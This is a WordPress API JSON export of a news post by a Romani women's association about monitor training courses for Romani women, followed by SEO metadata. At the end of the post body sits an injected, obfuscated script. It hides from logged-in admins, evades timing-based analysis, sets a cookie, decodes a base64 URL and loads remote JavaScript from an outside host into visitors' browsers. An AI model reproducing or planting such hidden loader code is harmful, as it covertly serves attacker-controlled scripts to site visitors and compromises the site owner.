{"id":1648,"date":"2023-03-06T15:06:13","date_gmt":"2023-03-06T15:06:13","guid":{"rendered":"http:\/\/www.dromkotar.org\/ca\/?p=1648"},"modified":"2026-03-10T07:26:26","modified_gmt":"2026-03-10T07:26:26","slug":"cursos-de-monitoras-2019-2020","status":"publish","type":"post","link":"https:\/\/dromkotar.org\/en\/current-projects\/coordinated-projects\/news\/course-of-monitors-2018-2019\/","title":{"rendered":"Course of monitors"},"content":{"rendered":"<p>In 2019, exceptionally, two courses of monitors have been held, one in Trinitat Nova and the other in Terrassa.<\/p>\n<p>The women participants are already at the end of the course, completing their internship memories to send them in the next months.<\/p>\n<p>This course offers a formal qualification, which allows participants to enter the labor market in non-formal education areas. One of the main objectives of the course is to make Romani women visible in these spaces, where they have not traditionally been represented, as role models for children and their families.<\/p>\n<p>Within the course, three sessions have been organized on prevention of gender violence, preventive socialization, and 0 violence from 0 years old.<\/p>\n<p>Thanks to the collaborators and specialists in the field who have voluntarily carried out these sessions.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>This course offers a formal qualification, which allows participants to enter the labor market in non-formal education areas.<\/p>\n","protected":false},"author":1,"featured_media":2705,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-1648","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-actualidad"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Course of monitors  - Drom Kotar Mestipen<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Course of monitors  - Drom Kotar Mestipen\" \/>\n<meta property=\"og:description\" content=\"This course offers a formal qualification, which allows participants to enter the labor market in non-formal education areas.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/\" \/>\n<meta property=\"og:site_name\" content=\"Drom Kotar Mestipen\" \/>\n<meta property=\"article:published_time\" content=\"2023-03-06T15:06:13+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-03-10T07:26:26+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/dromkotar.org\/wp-content\/uploads\/2023\/03\/Todas-estudiando.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"1200\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/dromkotar.org\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/\"},\"author\":{\"name\":\"Admin\",\"@id\":\"https:\\\/\\\/dromkotar.org\\\/#\\\/schema\\\/person\\\/55826501ab20f587855de89b187d7fa8\"},\"headline\":\"Course of monitors\",\"datePublished\":\"2023-03-06T15:06:13+00:00\",\"dateModified\":\"2026-03-10T07:26:26+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/\"},\"wordCount\":429,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/dromkotar.org\\\/wp-content\\\/uploads\\\/2023\\\/03\\\/Todas-estudiando.jpg\",\"articleSection\":[\"News\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/dromkotar.org\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/\",\"url\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/\",\"name\":\"Course of monitors  - Drom Kotar Mestipen\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/dromkotar.org\\\/wp-content\\\/uploads\\\/2023\\\/03\\\/Todas-estudiando.jpg\",\"datePublished\":\"2023-03-06T15:06:13+00:00\",\"dateModified\":\"2026-03-10T07:26:26+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[[\"https:\\\/\\\/dromkotar.org\\\/en\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/\"]]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/#primaryimage\",\"url\":\"https:\\\/\\\/dromkotar.org\\\/wp-content\\\/uploads\\\/2023\\\/03\\\/Todas-estudiando.jpg\",\"contentUrl\":\"https:\\\/\\\/dromkotar.org\\\/wp-content\\\/uploads\\\/2023\\\/03\\\/Todas-estudiando.jpg\",\"width\":1600,\"height\":1200},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/proyectos-en-curso\\\/proyectos-coordinados\\\/actualidad\\\/cursos-de-monitoras-2019-2020\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Inici\",\"item\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Cursos de monitoras 2019-2020\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/#website\",\"url\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/\",\"name\":\"Drom Kotar Mestipen\",\"description\":\"Romani Association of Women\",\"publisher\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/#organization\",\"name\":\"(Espa\u00f1ol) Drom Kotar Mestipen\",\"url\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.dromkotar.org\\\/wp-content\\\/uploads\\\/2022\\\/05\\\/cropped-drom-kotar-favicon.png\",\"contentUrl\":\"https:\\\/\\\/www.dromkotar.org\\\/wp-content\\\/uploads\\\/2022\\\/05\\\/cropped-drom-kotar-favicon.png\",\"width\":512,\"height\":512,\"caption\":\"(Espa\u00f1ol) Drom Kotar Mestipen\"},\"image\":{\"@id\":\"https:\\\/\\\/dromkotar.org\\\/en\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/dromkotar.org\\\/#\\\/schema\\\/person\\\/55826501ab20f587855de89b187d7fa8\",\"name\":\"Admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d7a8deec0a9c737035ed59adacb7a90087a7ac624d44d75af7999e10036c5360?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d7a8deec0a9c737035ed59adacb7a90087a7ac624d44d75af7999e10036c5360?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d7a8deec0a9c737035ed59adacb7a90087a7ac624d44d75af7999e10036c5360?s=96&d=mm&r=g\",\"caption\":\"Admin\"},\"sameAs\":[\"http:\\\/\\\/www.dromkotar.org\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Course of monitors  - Drom Kotar Mestipen","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/","og_locale":"en_US","og_type":"article","og_title":"Course of monitors  - Drom Kotar Mestipen","og_description":"This course offers a formal qualification, which allows participants to enter the labor market in non-formal education areas.","og_url":"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/","og_site_name":"Drom Kotar Mestipen","article_published_time":"2023-03-06T15:06:13+00:00","article_modified_time":"2026-03-10T07:26:26+00:00","og_image":[{"width":1600,"height":1200,"url":"https:\/\/dromkotar.org\/wp-content\/uploads\/2023\/03\/Todas-estudiando.jpg","type":"image\/jpeg"}],"author":"Admin","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Admin","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/dromkotar.org\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/#article","isPartOf":{"@id":"https:\/\/dromkotar.org\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/"},"author":{"name":"Admin","@id":"https:\/\/dromkotar.org\/#\/schema\/person\/55826501ab20f587855de89b187d7fa8"},"headline":"Course of monitors","datePublished":"2023-03-06T15:06:13+00:00","dateModified":"2026-03-10T07:26:26+00:00","mainEntityOfPage":{"@id":"https:\/\/dromkotar.org\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/"},"wordCount":429,"commentCount":0,"publisher":{"@id":"https:\/\/dromkotar.org\/#organization"},"image":{"@id":"https:\/\/dromkotar.org\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/#primaryimage"},"thumbnailUrl":"https:\/\/dromkotar.org\/wp-content\/uploads\/2023\/03\/Todas-estudiando.jpg","articleSection":["News"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/dromkotar.org\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/","url":"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/","name":"Course of monitors  - Drom Kotar Mestipen","isPartOf":{"@id":"https:\/\/dromkotar.org\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/#primaryimage"},"image":{"@id":"https:\/\/dromkotar.org\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/#primaryimage"},"thumbnailUrl":"https:\/\/dromkotar.org\/wp-content\/uploads\/2023\/03\/Todas-estudiando.jpg","datePublished":"2023-03-06T15:06:13+00:00","dateModified":"2026-03-10T07:26:26+00:00","breadcrumb":{"@id":"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":[["https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/"]]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/#primaryimage","url":"https:\/\/dromkotar.org\/wp-content\/uploads\/2023\/03\/Todas-estudiando.jpg","contentUrl":"https:\/\/dromkotar.org\/wp-content\/uploads\/2023\/03\/Todas-estudiando.jpg","width":1600,"height":1200},{"@type":"BreadcrumbList","@id":"https:\/\/dromkotar.org\/en\/proyectos-en-curso\/proyectos-coordinados\/actualidad\/cursos-de-monitoras-2019-2020\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Inici","item":"https:\/\/dromkotar.org\/en\/"},{"@type":"ListItem","position":2,"name":"Cursos de monitoras 2019-2020"}]},{"@type":"WebSite","@id":"https:\/\/dromkotar.org\/en\/#website","url":"https:\/\/dromkotar.org\/en\/","name":"Drom Kotar Mestipen","description":"Romani Association of Women","publisher":{"@id":"https:\/\/dromkotar.org\/en\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/dromkotar.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/dromkotar.org\/en\/#organization","name":"(Espa\u00f1ol) Drom Kotar Mestipen","url":"https:\/\/dromkotar.org\/en\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/dromkotar.org\/en\/#\/schema\/logo\/image\/","url":"https:\/\/www.dromkotar.org\/wp-content\/uploads\/2022\/05\/cropped-drom-kotar-favicon.png","contentUrl":"https:\/\/www.dromkotar.org\/wp-content\/uploads\/2022\/05\/cropped-drom-kotar-favicon.png","width":512,"height":512,"caption":"(Espa\u00f1ol) Drom Kotar Mestipen"},"image":{"@id":"https:\/\/dromkotar.org\/en\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/dromkotar.org\/#\/schema\/person\/55826501ab20f587855de89b187d7fa8","name":"Admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/d7a8deec0a9c737035ed59adacb7a90087a7ac624d44d75af7999e10036c5360?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/d7a8deec0a9c737035ed59adacb7a90087a7ac624d44d75af7999e10036c5360?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d7a8deec0a9c737035ed59adacb7a90087a7ac624d44d75af7999e10036c5360?s=96&d=mm&r=g","caption":"Admin"},"sameAs":["http:\/\/www.dromkotar.org"]}]}},"_links":{"self":[{"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/posts\/1648","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/comments?post=1648"}],"version-history":[{"count":6,"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/posts\/1648\/revisions"}],"predecessor-version":[{"id":3190,"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/posts\/1648\/revisions\/3190"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/media\/2705"}],"wp:attachment":[{"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/media?parent=1648"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/categories?post=1648"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dromkotar.org\/en\/wp-json\/wp\/v2\/tags?post=1648"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}